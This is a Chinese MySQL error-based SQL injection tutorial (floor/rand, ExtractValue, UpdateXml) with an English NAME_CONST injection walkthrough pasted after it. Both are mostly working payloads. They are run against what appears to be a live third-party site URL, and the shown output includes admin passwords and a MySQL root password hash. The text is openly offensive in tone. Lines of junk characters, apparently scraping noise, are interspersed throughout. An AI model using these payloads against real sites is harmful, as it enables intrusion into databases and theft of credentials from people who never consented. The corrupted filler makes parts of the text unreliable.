mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
8 \* J7 g4 G% Q+ \4 Y4 `首先进行正常查询：

mysql> select * from article where id = 1;
6 P: O6 _9 f! h2 o# h9 p+—-+——-+———+
| id | title | content |
8 a! H9 B0 H+ |! ^3 Q+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
  b: G  \0 C% ]7 i例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
9 Z' v! E# E" e" }( mERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
! P. i: k9 f9 V) Y; @ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
& p9 H# @4 [0 }) o4 Z! G$ w测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

; G4 k6 l* c5 x& n  ~$ {

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
+ k0 N5 G1 l- z6 k2 _0 p
Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

! H/ m3 H4 A! f! Yhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
; a% W" V' f7 z7 f
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
  `( H, E: q* Y5 }4 m6 u4 [
MYSQL高版本报错注入技巧-利用NAME_CONST注入
; |2 g/ W# X' F  J; z3 C; FIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
' U1 N, S5 h% g8 G( H& @+ \  _
/ z% Y6 F* N" X# J& X; b* p
% U- t- m1 G0 n3 l3 W相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
+ J9 @5 W; q; V9 B: v
3 u& \+ B; F( |1 {* e7 t; S7 nCode:
- `  i7 G& R. ]NAME_CONST(DATA, VALUE)
3 t, z" A; ]3 E) N0 ^+ U9 u
3 j, n2 a, z7 e5 J+ H" GReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
* w/ H% Q6 k( @  l* @( M% v
SELECT NAME_CONST('TEST', 1)
. Z' f* D" c7 {
" ]* g3 ]( U& I% @/ z% J
, T7 _; h# P0 i
|---------------|
$ h# x1 e+ M& M8 C# _1 m# J|     TEST      |
|               |
5 k# ^3 w2 d# e0 l* _! }|---------------|
  u, U& h9 D6 l+ C|       1       |
|               |
* E' Y0 X+ c( @0 U|---------------|



: q* o) I# E7 C
0 q4 o# D: H; mhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
* R4 A) m9 b9 R4 g6 i: ^
4 a1 A. t+ `3 u# dOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
3 r/ v9 N% n7 ?/ N# I1 ?
Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
" G* ?2 s  N& }0 I+ I  G8 N7 V5 ]

  S! b- O2 ?2 K
  M4 B% W+ D- S

Code:
6 ?0 y: C0 v6 M7 sand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

9 }" @# d; ^, X5 X/ Z4 p
! ~. d7 K0 e  wVAR = Your MySQL variable.
% c% b8 b  [6 K
MySQL 5.1.3 Server System Variables
; u. ?, s; W( x: e1 U$ ^
Let's try it out on my site..

Code:
! v( V3 m7 _0 T; {; r7 {http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
% x0 E0 U9 k! Q0 s4 A
: p+ S; p" ?" ~! q$ t* B% e+ vErroruplicate column name '5.0.27-community-nt'

7 R- K' A$ F/ a
9 w/ W0 Q6 W) A3 l0 s# ^. x5 |
/ R( i4 ~4 P8 N
: c( m: U$ {5 p- b
3 Z8 w2 [7 u2 ]- V2 l* VNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

' j! w& e. [! _) T0 hData Extraction
' ]3 r1 ?$ r6 G- u5 Y* g9 s- Q
$ n2 J' e" r2 S- O/ KCode:
$ K3 v- y% B5 g+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
, ^) N; d% @* u* f8 B8 d

. v4 B/ P4 t0 ^& z4 A4 v4 P: HWe should get a duplicate column 1 error...

- _# @! u0 g8 DCode:
6 @* I' ?" j( L/ O; _9 Ihttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

: J+ g; `+ U, a1 y: x$ B6 }Erroruplicate column name '1
) S* C5 Z# Z! H& L( i) B/ ^0 K
8 g4 W- ?, n" E$ }+ c8 @



6 |3 S- @% l- G/ a! r
Now let's get the tables out this bitch..

% D8 Z" X) ~7 J: [+ v& V% V; u& LCode:
1 j/ B* B- {2 f* K. O" u# l1 I+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
+ N- Q# V, }" V* R* T. ^

& N  U7 e0 W% Z+ J$ FLet's see if it works here, if it does, we can go on and finish the job.
! z' i2 l! N6 w( j3 \; i0 [
Code:
9 k7 H. u- c4 R$ e. g; w1 G) khttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
. s( Q4 M! d( t7 ^0 N' h* Z

( O  @7 o$ D* B- M9 k" q5 wErroruplicate column name 'com_admanage


5 o* `& F0 T/ |" N6 s
& y  A& R2 c, e8 S: n5 j


: l; [5 B+ s5 p6 C. |( s8 jNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

1 y2 @: `5 _/ A
) J( [9 T7 }- p6 HSo mine looks like this, and I get the duplicate column name 'Host'.
. w) `, {7 a- E- d8 U0 e( m
0 u0 o) D& y- Z* BCode:
, x6 l6 {# g' Q4 F* P! e4 Yhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'
$ \' @3 h' g* j6 |, H3 M


4 o( ^' U- \* _: t- |- ]& B


/ [1 z, \: O$ H9 K* R5 hWoot, time to finish this bitch off.

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
1 A" x6 q5 J3 `/ `2 C8 t
% A5 l3 t" O4 T
So mine looks like this...
! g! M/ m3 x- H" [
* H* z8 k3 T0 bCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
1 s- d0 g# U" H" M; b& F
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
0 K" n  p1 [/ E' T1 o: F9 \
& J4 G& n, k) n8 j  ^/ a/ E
% Q8 F/ W: ~# a+ y$ p; S/ s! P
# a; m, }; x" R
( u, v: `0 u0 |8 R5 n/ {* X. Q
$ h: E/ H& d, E2 O! m
And there we have it, thanks for reading.
2 |$ S5 A' K; y& d" b